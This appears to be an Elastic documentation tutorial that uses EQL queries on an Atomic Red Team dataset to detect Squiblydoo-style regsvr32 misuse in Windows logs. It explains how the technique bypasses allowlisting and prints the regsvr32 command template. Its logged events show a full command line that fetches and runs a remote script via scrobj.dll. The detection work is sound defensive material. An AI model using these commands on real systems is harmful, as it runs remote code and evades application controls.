Example: Detect threats with EQL

edit

Example: Detect threats with EQL

edit

This example tutorial shows how you can use EQL to detect security threats and other suspicious behavior. In the scenario, you’re tasked with detecting regsvr32 misuse in Windows event logs.

regsvr32.exe is a built-in command-line utility used to register .dll libraries in Windows. As a native tool, regsvr32.exe has a trusted status, letting it bypass most allowlist software and script blockers. Attackers with access to a user’s command line can use regsvr32.exe to run malicious scripts via .dll libraries, even on machines that otherwise disallow such scripts.

One common variant of regsvr32 misuse is a Squiblydoo attack. In a Squiblydoo attack, a regsvr32.exe command uses the scrobj.dll library to register and run a remote script. These commands often look like this:

"regsvr32.exe  /s /u /i:<script-url> scrobj.dll"

Setup

edit

This tutorial uses a test dataset from Atomic Red Team that includes events imitating a Squiblydoo attack. The data has been mapped to Elastic Common Schema (ECS) fields.

To get started:

  1. Create an index template with data stream enabled:

    resp = client.indices.put_index_template(
        name="my-data-stream-template",
        index_patterns=[
            "my-data-stream*"
        ],
        data_stream={},
        priority=500,
    )
    print(resp)
    response = client.indices.put_index_template(
      name: 'my-data-stream-template',
      body: {
        index_patterns: [
          'my-data-stream*'
        ],
        data_stream: {},
        priority: 500
      }
    )
    puts response
    const response = await client.indices.putIndexTemplate({
      name: "my-data-stream-template",
      index_patterns: ["my-data-stream*"],
      data_stream: {},
      priority: 500,
    });
    console.log(response);
    PUT /_index_template/my-data-stream-template
    {
      "index_patterns": [ "my-data-stream*" ],
      "data_stream": { },
      "priority": 500
    }
  2. Download normalized-T1117-AtomicRed-regsvr32.json.
  3. Use the bulk API to index the data to a matching stream:

    curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-data-stream/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  4. Use the cat indices API to verify the data was indexed:

    resp = client.cat.indices(
        index="my-data-stream",
        v=True,
        h="health,status,index,docs.count",
    )
    print(resp)
    response = client.cat.indices(
      index: 'my-data-stream',
      v: true,
      h: 'health,status,index,docs.count'
    )
    puts response
    const response = await client.cat.indices({
      index: "my-data-stream",
      v: "true",
      h: "health,status,index,docs.count",
    });
    console.log(response);
    GET /_cat/indices/my-data-stream?v=true&h=health,status,index,docs.count

    The response should show a docs.count of 150.

    health status index                                 docs.count
    yellow open   .ds-my-data-stream-2099.12.07-000001         150

Get a count of regsvr32 events

edit

First, get a count of events associated with a regsvr32.exe process:

resp = client.eql.search(
    index="my-data-stream",
    filter_path="-hits.events",
    query="\n    any where process.name == \"regsvr32.exe\"                \n  ",
    size=200,
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  filter_path: "-hits.events",
  query: '\n    any where process.name == "regsvr32.exe"                \n  ',
  size: 200,
});
console.log(response);
GET /my-data-stream/_eql/search?filter_path=-hits.events    
{
  "query": """
    any where process.name == "regsvr32.exe"                
  """,
  "size": 200                                               
}

?filter_path=-hits.events excludes the hits.events property from the response. This search is only intended to get an event count, not a list of matching events.

Matches any event with a process.name of regsvr32.exe.

Returns up to 200 hits for matching events.

The response returns 143 related events.

{
  "is_partial": false,
  "is_running": false,
  "took": 60,
  "timed_out": false,
  "hits": {
    "total": {
      "value": 143,
      "relation": "eq"
    }
  }
}

Check for command line artifacts

edit

regsvr32.exe processes were associated with 143 events. But how was regsvr32.exe first called? And who called it? regsvr32.exe is a command-line utility. Narrow your results to processes where the command line was used:

resp = client.eql.search(
    index="my-data-stream",
    query="\n    process where process.name == \"regsvr32.exe\" and process.command_line.keyword != null\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    process where process.name == "regsvr32.exe" and process.command_line.keyword != null\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  """
}

The query matches one event with an event.type of creation, indicating the start of a regsvr32.exe process. Based on the event’s process.command_line value, regsvr32.exe used scrobj.dll to register a script, RegSvr32.sct. This fits the behavior of a Squiblydoo attack.

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "gl5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "parent": {
              "name": "cmd.exe",
              "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
              "executable": "C:\\Windows\\System32\\cmd.exe"
            },
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
            "executable": "C:\\Windows\\System32\\regsvr32.exe",
            "ppid": 2652
          },
          "logon_id": 217055,
          "@timestamp": 131883573237130000,
          "event": {
            "category": "process",
            "type": "creation"
          },
          "user": {
            "full_name": "bob",
            "domain": "ART-DESKTOP",
            "id": "ART-DESKTOP\\bob"
          }
        }
      }
    ]
  }
}

Check for malicious script loads

edit

Check if regsvr32.exe later loads the scrobj.dll library:

resp = client.eql.search(
    index="my-data-stream",
    query="\n    library where process.name == \"regsvr32.exe\" and dll.name == \"scrobj.dll\"\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  """
}

The query matches an event, confirming scrobj.dll was loaded.

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "events": [
      {
        "_index": ".ds-my-data-stream-2099.12.07-000001",
        "_id": "ol5MJXMBMk1dGnErnBW8",
        "_source": {
          "process": {
            "name": "regsvr32.exe",
            "pid": 2012,
            "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
            "executable": "C:\\Windows\\System32\\regsvr32.exe"
          },
          "@timestamp": 131883573237450016,
          "dll": {
            "path": "C:\\Windows\\System32\\scrobj.dll",
            "name": "scrobj.dll"
          },
          "event": {
            "category": "library"
          }
        }
      }
    ]
  }
}

Determine the likelihood of success

edit

In many cases, attackers use malicious scripts to connect to remote servers or download other files. Use an EQL sequence query to check for the following series of events:

  1. A regsvr32.exe process
  2. A load of the scrobj.dll library by the same process
  3. Any network event by the same process

Based on the command line value seen in the previous response, you can expect to find a match. However, this query isn’t designed for that specific command. Instead, it looks for a pattern of suspicious behavior that’s generic enough to detect similar threats.

resp = client.eql.search(
    index="my-data-stream",
    query="\n    sequence by process.pid\n      [process where process.name == \"regsvr32.exe\"]\n      [library where dll.name == \"scrobj.dll\"]\n      [network where true]\n  ",
)
print(resp)
const response = await client.eql.search({
  index: "my-data-stream",
  query:
    '\n    sequence by process.pid\n      [process where process.name == "regsvr32.exe"]\n      [library where dll.name == "scrobj.dll"]\n      [network where true]\n  ',
});
console.log(response);
GET /my-data-stream/_eql/search
{
  "query": """
    sequence by process.pid
      [process where process.name == "regsvr32.exe"]
      [library where dll.name == "scrobj.dll"]
      [network where true]
  """
}

The query matches a sequence, indicating the attack likely succeeded.

{
  ...
  "hits": {
    "total": {
      "value": 1,
      "relation": "eq"
    },
    "sequences": [
      {
        "join_keys": [
          2012
        ],
        "events": [
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "gl5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "parent": {
                  "name": "cmd.exe",
                  "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
                  "executable": "C:\\Windows\\System32\\cmd.exe"
                },
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "command_line": "regsvr32.exe  /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
                "executable": "C:\\Windows\\System32\\regsvr32.exe",
                "ppid": 2652
              },
              "logon_id": 217055,
              "@timestamp": 131883573237130000,
              "event": {
                "category": "process",
                "type": "creation"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "ol5MJXMBMk1dGnErnBW8",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573237450016,
              "dll": {
                "path": "C:\\Windows\\System32\\scrobj.dll",
                "name": "scrobj.dll"
              },
              "event": {
                "category": "library"
              }
            }
          },
          {
            "_index": ".ds-my-data-stream-2099.12.07-000001",
            "_id": "EF5MJXMBMk1dGnErnBa9",
            "_source": {
              "process": {
                "name": "regsvr32.exe",
                "pid": 2012,
                "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
                "executable": "C:\\Windows\\System32\\regsvr32.exe"
              },
              "@timestamp": 131883573238680000,
              "destination": {
                "address": "151.101.48.133",
                "port": "443"
              },
              "source": {
                "address": "192.168.162.134",
                "port": "50505"
              },
              "event": {
                "category": "network"
              },
              "user": {
                "full_name": "bob",
                "domain": "ART-DESKTOP",
                "id": "ART-DESKTOP\\bob"
              },
              "network": {
                "protocol": "tcp",
                "direction": "outbound"
              }
            }
          }
        ]
      }
    ]
  }
}